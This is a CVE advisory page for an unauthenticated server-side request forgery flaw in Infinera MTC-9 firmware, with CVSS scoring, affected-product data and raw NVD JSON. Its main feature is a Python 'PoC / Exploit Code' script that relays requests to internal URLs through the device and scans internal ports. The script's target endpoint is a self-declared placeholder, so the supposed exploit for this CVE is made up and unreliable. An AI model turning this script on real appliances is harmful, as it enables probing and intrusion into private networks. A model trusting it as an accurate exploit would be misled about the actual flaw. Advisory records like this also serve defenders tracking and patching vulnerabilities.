Security Vulnerability Report
中文
CVE-2025-26487 CVSS 8.6 HIGH

CVE-2025-26487

Published: 2025-12-08 09:15:46
Last Modified: 2025-12-22 18:56:07
Source: a6d3dc9e-0591-4a13-bce7-0f5b31ff6158

Description

Server-Side Request Forgery (SSRF) vulnerability in Infinera MTC-9 version allows remote unauthenticated users to gain access to other network resources using HTTPS requests through the appliance used as a bridge.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:nokia:infinera_mtc-9_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nokia:infinera_mtc-9:-:*:*:*:*:*:*:* - NOT VULNERABLE
Infinera MTC-9 (版本未知)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-26487 SSRF PoC for Infinera MTC-9 # Target: Infinera MTC-9 device # Vulnerability: Server-Side Request Forgery (SSRF) def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability to access internal resources Args: target_url: Base URL of Infinera MTC-9 device internal_target: Internal resource to access (e.g., http://internal-server:8080) """ # Construct SSRF payload # The vulnerable endpoint accepts a URL parameter that is fetched server-side exploit_endpoint = f"{target_url}/api/ssrf-endpoint" # Placeholder endpoint payload = { 'url': internal_target, 'protocol': 'https' } try: print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Targeting internal resource: {internal_target}") # Send malicious request response = requests.post(exploit_endpoint, data=payload, timeout=30) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.content)} bytes") if response.status_code == 200: print("[+] Successfully exploited SSRF vulnerability!") print(f"[+] Response Content:\n{response.text[:500]}") return True else: print("[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def scan_internal_network(target_url, internal_ip): """ Use SSRF to scan internal network """ for port in [80, 443, 8080, 8443]: target = f"http://{internal_ip}:{port}" print(f"[*] Scanning {target}") exploit_ssrf(target_url, target) if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <internal_target>") print(f"Example: python {sys.argv[0]} https://mtc9-device.local http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-26487", "sourceIdentifier": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "published": "2025-12-08T09:15:46.487", "lastModified": "2025-12-22T18:56:07.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Infinera MTC-9 version allows \nremote unauthenticated users to gain access to other network resources \nusing HTTPS requests through the appliance used as a bridge."}], "metrics": {"cvssMetricV31": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nokia:infinera_mtc-9_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "22.1.1.0275", "versionEndExcluding": "23.0", "matchCriteriaId": "2C084211-7CFB-4149-BC00-609E29A3EF60"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nokia:infinera_mtc-9:-:*:*:*:*:*:*:*", "matchCriteriaId": "48C75FDC-0C46-4EC4-BCC9-EBAD117A84FD"}]}]}], "references": [{"url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2025-26487", "source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "tags": ["Third Party Advisory"]}]}}